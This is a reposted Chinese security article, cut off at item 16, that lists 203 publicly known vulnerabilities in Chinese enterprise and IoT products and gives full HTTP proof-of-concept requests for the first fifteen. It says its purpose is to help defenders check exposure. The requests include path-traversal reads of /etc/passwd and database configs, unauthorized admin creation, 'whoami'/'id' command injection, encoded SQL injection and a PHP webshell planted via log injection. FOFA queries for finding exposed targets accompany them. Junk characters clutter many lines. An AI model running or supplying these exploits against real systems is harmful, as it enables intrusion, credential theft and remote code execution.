互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
% J0 ]! E) l# H( B! p: D; n7 h; \道一安全 2024-06-05 07:41 北京
9 F4 I7 B0 F* U9 D: C以下文章来源于网络安全新视界 ，作者网络安全新视界

+ O. L: U+ r: G6 R% j0 n发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

2 c' \" K, T6 k0 R  c/ |8 z: v漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
! J4 R& ]; l% O
) y+ Q7 u8 I! Q8 p安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
! x; h5 R# V& r! a+ a2 P
& Y( a4 r( Z4 D$ P- z. b1 p文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
# O) f8 j  X' K4 ]' X6 I4 x- ~
5 r* ]; _$ H/ Y- w合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


% L% E) b2 h' A声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
$ R$ h- h" f) {2 x( v1 F
) V, J  B2 C- p% W
2 D$ |' ^. L" c( k$ w% i; z5 W! O5 U) G
$ @. i( g+ y( t目录
  A3 c) l, ?5 w& n" t
01

8 D7 p0 f) `3 q: W# ~1. StarRocks MPP数据库未授权访问
$ D+ y! z% K, _' t2. Casdoor系统static任意文件读取
! _: J( @# x- q5 H$ Q3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
2 }- f, |1 Y  v1 T! ~4 p: ^" B! w1 i5. NUUO NVR 视频存储管理设备远程命令执行
: r; @7 w- s) k0 [& Q, Q9 B4 @: R6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
. X8 H/ E; Y" E8 i8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
9 }9 m1 r( g8 @11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
9 [( i( E5 |- b; C+ j; V# K2 T5 l13. 红帆iOffice ioFileDown任意文件读取
7 _5 V9 o6 `/ C& I14. 华夏ERP（jshERP）敏感信息泄露
8 v8 _* ?) P) R+ {15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
. o  u' C5 D1 I6 P" X( Q8 o17. 大华 DSS itcBulletin SQL 注入
% E) f* Q; Z" c( t- V18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
1 {6 P4 g* L) H6 k- ]% z5 M19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
& e" w% k+ o' l8 a1 H. ~22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
0 j0 S2 z' L& D* f25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
  O2 [) [$ A: y9 w! E. F7 y5 k/ p27. 用友 NC showcontent SQL注入
) V& w- Y, b5 G7 i+ g28. 用友NC grouptemplet 任意文件上传
2 W+ r! H4 b2 ~3 N29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
$ z1 D! Z. _: A# d& [' W32. 用友NC complainbilldetail SQL注入
5 Y- P4 J; c2 Q( `33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
: f9 Q, N) O+ w$ N% j8 s( \- V1 p36. 用友NC-Cloud soapFormat XXE
8 y6 ]5 m. y" Y) y: I5 Y7 e2 s37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
$ T$ K" ]' y6 |* X5 l* T39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
' c9 _6 n* Z' V2 X8 t* d- t41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
. d/ C: F: B. [; p! C42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
4 P' f. e3 j+ A% k0 S8 ?' F7 O44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
  x& x' J5 h6 H! {- V47. 用友GRP A++Cloud 政府财务云 任意文件读取
. j3 w4 Y! B4 q48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
6 ^* w4 m0 t& r' u50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
6 M1 Y* u( Q1 v/ M& p52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
$ d, x$ [0 U+ q& I5 k" I55. 畅捷通T+ getdecallusers信息泄露
+ b7 i0 _2 Z: A# O9 F1 w56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
; \5 ?% ^: `1 C. X' D0 b6 Y57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
/ M  t* Q0 c6 D; Q0 A1 v0 W7 V59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
2 r3 m/ O- H3 r8 t+ @60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
8 m' k6 w: d: M7 `) X( t7 l62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
# R) z( P& ?( _: U& }64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
0 Y1 [2 Y3 T4 P6 Z6 N4 W69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
8 @- @5 A# K8 n72. 致远OA getAjaxDataServlet XXE
& C) S2 M1 W" j73. GeoServer wms远程代码执行
, `7 D$ O( p9 o74. 致远M3-server 6_1sp1 反序列化RCE
2 c+ f/ L0 c, `# A% P75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
' g3 @( m5 G" ~& `  p6 v81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
$ s: P; a$ Y! h; Y4 _82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
+ u$ |" J& Q$ [  U1 o. ?5 Y3 T+ w83. JeecgBoot testConnection 远程命令执行
! |# m0 ]. |" H# {& A* _84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
6 g. c4 d% r; t) Q. W* E& T85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
% b, W, I2 q3 y/ q$ x- D0 p! s87. 安恒明御安全网关aaa_local_web_preview文件上传
& C5 V' q+ @; g) a3 z- @88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
4 z/ ^! o9 d' j+ o# ^89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
" j* Q) b+ I) f( Z6 X92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
: v" O/ i# {- N- L9 }. J96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
' l. N( g9 Z) ~99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
/ |; f/ ?: m- Y5 K% G& |102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
  g$ D* a% Y  E% P3 W104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
& V" a7 G/ c$ ?0 z109. Jenkins CLI 任意文件读取
+ u* G4 v1 t# `1 P3 z110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
  m9 C  Y- G9 T8 Z113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
. g- {" K$ @5 d9 N5 V2 \9 j" ~8 a115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
4 W( E9 {. l& b+ A" Z% Z117. WordPress LayerSlider插件SQL注入
6 |2 q7 u$ K: M118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
3 i, d6 B4 j' }' R" x122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
/ h5 q) j9 P! h124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
: X* u( v6 o; |' C126. Aiohttp 路径遍历
7 @* {: h" O: p' d127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
5 r+ \. d& f8 E& o' X, D- r3 X132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
2 u# z; M/ q9 e. c% v/ S8 f* B134. 网康NS-ASG应用安全网关index.php sql注入
0 L, y$ y- \3 y& m6 U+ B& I135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
, z8 h3 f$ ~$ R& B7 {- @137. 福建科立迅通信指挥调度平台down_file.php sql注入
5 Q+ a9 o+ n4 f" x+ K) m: [138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
  r8 ?+ U% z, h6 @- k4 D1 C141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
: i& X* O- x7 q$ \1 Y+ F142. CMSV6车辆监控平台系统中存在弱密码
0 s- _+ s8 @0 n) p6 q& X% Q& a143. Netis WF2780 v2.1.40144 远程命令执行
0 ~1 x- |( _0 `6 r. {% z# e144. D-Link nas_sharing.cgi 命令注入
$ v2 Y2 r! Z% g) S+ p: U/ l145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
$ t, W5 l' i* U, [# a1 a/ C' j147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
' h6 \5 T2 T  w6 `* b/ D149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
- `" D9 a% e% w3 `5 G152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
- `& B5 G, g/ ~4 v9 p) V157. 美特CRM upload.jsp 任意文件上传
' k& L: X1 @! Y! i' o" K7 e158. Mura-CMS-processAsyncObject存在SQL注入
' `$ g4 j* j8 S) K; B- q1 F7 U159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
/ |# g5 x8 e5 E9 c160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
6 h. w  o  r' l9 Q163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
* U2 ?, f) B$ c; F& G) [+ Z+ X7 V165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
: l% I7 k# ?' x8 ?8 G& z167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
( y1 y- i' G9 E169. 宏景EHR downlawbase SQL注入
, s6 v$ {; r+ |9 H# J" S  p# `& i170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
7 @) G% ]0 G# T/ T# e, M174. 金和OA C6 FileDownLoad.aspx 任意文件读取
7 G7 R1 {9 Q* G, h' Y" b/ p% F0 B( U175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
6 z% |. l0 e9 C, Z3 \177. H3C路由器敏感信息泄露
$ e5 v: z0 J& N+ X) }178. H3C校园网自助服务系统-flexfileupload-任意文件上传
0 v. D: c. n& l: U% s179. 建文工程管理系统存在任意文件读取
8 K/ z9 }7 j# I% O, B180. 帮管客 CRM jiliyu SQL注入
2 \7 C# z' A( n0 Y. O$ ~181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
$ E/ x# u" {1 p; {, V" K9 U, e183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
/ ~$ N5 ?  _# f8 l& F- Y184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
' z' _5 a! V/ l+ J185. 瑞友天翼应用虚拟化系统SQL注入
+ D/ N0 ?2 V. ^9 ~+ X186. F-logic DataCube3 SQL注入
; @8 d" n. `% Y8 |187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
# x- `& Z/ p  V; E6 A' h193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
; y5 K0 u+ B1 ]8 Z, Q& ^194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
' D1 Z7 |! |8 t) X195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
# C, P8 j1 B3 K! n$ T. k198.  阿里云盘 WebDAV 命令注入
& R5 E  T3 f3 e5 a& {199. cockpit系统assetsmanager_upload接口 文件上传
6 r* u. _. i9 ~7 ?200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
) T: c0 P! ~/ x) T+ Y" A203. 红海云EHR PtFjk 文件上传
$ \, r. M: b9 b1 i; ^! l0 o
' _  V9 S. \7 Q2 c6 R7 L4 W, kPOC列表
* n2 r7 Z' g" |( Z$ l
02

" t) ~# l' c9 o1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
  _+ h3 g' O5 M# [GET /mem_tracker HTTP/1.1
0 C  O# g) w  }Host: URL
/ x( @9 S: m( Q, E# }
* t+ d- P5 N. [7 }
2. Casdoor系统static任意文件读取
2 s: Q( `$ N7 t+ Z: w* LFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
9 k4 q$ Q* A  g; X1 n( H: W/ W1 z- c( HHost: xx.xx.xx.xx:9999
; c; s6 G; v4 V) H% k7 C/ lUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  o# e$ I" Y8 p1 rConnection: close
4 m" k% X) k5 O% C" n$ ^& P/ \* pAccept: */*
Accept-Language: en
4 |1 _+ {$ T0 i9 K  FAccept-Encoding: gzip
1 r1 k; b; F. X

3. EasyCVR智能边缘网关 userlist 信息泄漏
, U1 w7 V4 X& i$ X" h' sFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
3 L6 d2 r+ w3 W3 q, {Host: xx.xx.xx.xx
  y) M9 D% z5 O1 x" }
2 `3 L& [1 m3 {/ @
1 `! `$ X" W* e- T: u6 A* `& [& a4. EasyCVR视频管理平台存在任意用户添加
$ T' P3 h1 m5 u0 J( j! l+ i* u, XFOFA ：title="EasyCVR"

password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

- d4 a; n" M% e3 d, n' N/ F6 cname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


5. NUUO NVR 视频存储管理设备远程命令执行
! k% V% n* W& I, WFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
1 o# Z0 l, s8 n+ w% O2 IHost: xx.xx.xx.xx


! q% b( g1 X# \/ [" K- X" r6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
8 e+ z& g# g& ^7 SHost:

& X+ \! Q+ L! A0 m( t7 \! e
7. 鸿运主动安全监控云平台任意文件下载
4 K, K" u  o6 V# F6 D3 g2 aFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:


8. 斐讯 Phicomm 路由器RCE
- E2 J' f: A+ Y: O) Y! j5 CFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
( g5 D+ u  m6 I; e0 I2 @. A% P3 UPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
0 ^9 p+ m3 o( B6 e& dHost: x.x.x.x
4 p( j6 }0 U( M8 U8 H0 WCookie: sysauth=第一步登录获取的cookie
8 m( U# f8 `; i% BContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
) ?3 q5 E% G5 n0 W
------WebKitFormBoundaryxbgjoytz
+ C: m9 t  @' e- g( b' VContent-Disposition: form-data; name="wifiRebootEnablestatus"
2 g+ U1 B. Q+ V
%s
8 ?6 I9 }/ ?' r; M& V- C9 L------WebKitFormBoundaryxbgjoytz
/ Y4 a3 P5 N5 h; q' a( t4 ]Content-Disposition: form-data; name="wifiRebootrange"
( Y* i1 H) o6 q  T* d6 v" Y* m, u
12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
* U+ i$ v3 z$ l7 a, C- a
5 X: t- {! B, r. q$ X+ d%s:
2 \& Y- j' o- f. [2 z- }, @------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
. \% v; X( O2 f$ B0 e5 D1 A

7 y  V" _0 E% B! C1 t0 @* E/ _------WebKitFormBoundaryxbgjoytz--
# m# F$ P5 \. M. v5 A$ H/ m: m+ E

  F8 h4 y7 Q5 h+ C8 R' D8 Y9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x


payload为下列语句的二次Url编码

& O& q) H; n% v% ?& }  I' X7 V' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
5 Y5 A) R. Y: D. T5 f6 x( e5 L  N7 pFOFA：icon_hash="953405444"
, Q( r- ]# J' h
文件上传后响应中包含上传文件的路径
. |- G- e- E% T. Y" |POST /eis/service/api.aspx?action=saveImg HTTP/1.1
1 ~  K" O0 q9 E$ `/ h( ]) D* N) THost: x.x.x.x:xx
. Z8 K: {3 w% Z4 j. N2 x9 n5 q6 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
  `! w0 h0 I: B! OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 S, v6 x: O& o5 lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 `; N. c& ~0 x5 |. ~" R. E- P3 fConnection: close
1 J5 P* C+ |( t& ?' E' FContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

% g1 J  S* N4 Z: q------WebKitFormBoundaryxdgaqmqu
% p6 T# d6 l. M' A. x6 MContent-Disposition: form-data; name="file"filename="icfitnya.txt"
9 |1 ~1 d. \" Y+ E6 ~Content-Type: text/html
, {9 r2 ?4 Z3 m0 T5 J
jmnqjfdsupxgfidopeixbgsxbf
4 }5 g- u+ ~5 f& q3 F, z5 n+ o- p------WebKitFormBoundaryxdgaqmqu--


! G% F3 o2 L* Q( i  F& e11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
- E2 V9 ~; I5 e  wFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
7 p! h, T% z& }% u' bHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
) j5 R# w: {+ U! E1 l& CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
" q" v$ r: A7 Y% _4 HConnection: close


3 M( O" l! G# J: M" s, R12. Jorani < 1.0.2 远程命令执行
1 N5 H: U# Y9 f! T# uFOFA：title="Jorani"
# k6 q4 \$ r# |3 x2 @第一步先拿到cookie
; I; v3 W; ~+ a/ o+ d8 M7 _GET /session/login HTTP/1.1
8 }4 H1 ?& p3 w0 \! \& q6 |Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
) e' ~0 _. a6 PContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
. T( ?  I: a; g( p3 O, EExpires: Thu, 19 Nov 1981 08:52:00 GMT
& s0 {: p) W6 s' H% @Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
# R  i% j" w2 c, D7 n, K
" e, a/ s9 u2 Z: B' g, i
POST请求，执行函数并进行base64编码
; F1 s" B% z* V! D( JPOST /session/login HTTP/1.1
$ l8 T! i9 ^2 ]9 M# v" `- d. j& mHost: 192.168.190.30
2 t8 `2 {1 Y; I: M- ~- VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
7 ^* O+ C# n+ ]( P# KContent-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
7 f( X6 i2 j( d9 q" n& \' F* [% |Accept-Encoding: gzip
5 Y: r3 u. e6 D6 ~$ ]
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

1 w3 v8 G& `& B! P

向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
* Y7 c# ]% b/ o3 FHost: 192.168.190.30
) G. V2 n' C# _# {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
$ T9 ~9 p9 B* _- s" y; Y& t2 h, bK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
2 M6 G! i. D7 d* `8 rX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
0 O) U$ t9 h/ w; l

13. 红帆iOffice ioFileDown任意文件读取
+ \5 \: N9 j2 F4 W! R( m) OFOFA：app="红帆-ioffice"
# \4 N1 A" Z' _. S" RGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
9 h! ?" N% c; X& EUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
! P2 J) y, E1 S+ D. i. C8 |Accept: */*
6 X0 w* X9 q3 |4 nAccept-Encoding: gzip
7 Q1 W; F( I7 Q% c0 U

' Y: i6 c$ l2 M2 z14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
$ t$ Q* y* t( a1 N泄露内容包括用户名密码
# e+ e/ B# u" @8 C# B" [GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
4 f3 x5 x( S8 u8 k5 L' O9 zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
. ]4 N; L3 [0 Z$ j% ]6 y3 MConnection: close
1 j" A7 k: o+ UAccept: */*
Accept-Language: en
1 b$ P9 J, F0 V$ A0 VAccept-Encoding: gzip
# ~' }/ z6 Z9 ]

15. 华夏ERP getAllList信息泄露
CVE-2024-0490
' m. w8 X5 B$ k& n* s% O; \* RFOFA：body="jshERP-boot"
# ?, ?0 Z# T2 X; u泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
7 V. t- f- v1 [; {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
% n3 L! D. O% f7 GAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
$ d9 J2 a& p" [' M4 gsec-ch-ua-platform: Windows
Accept-Encoding: gzip


6 @, f# J; {% a! `) E16.  红帆HFOffice医微云SQL注入
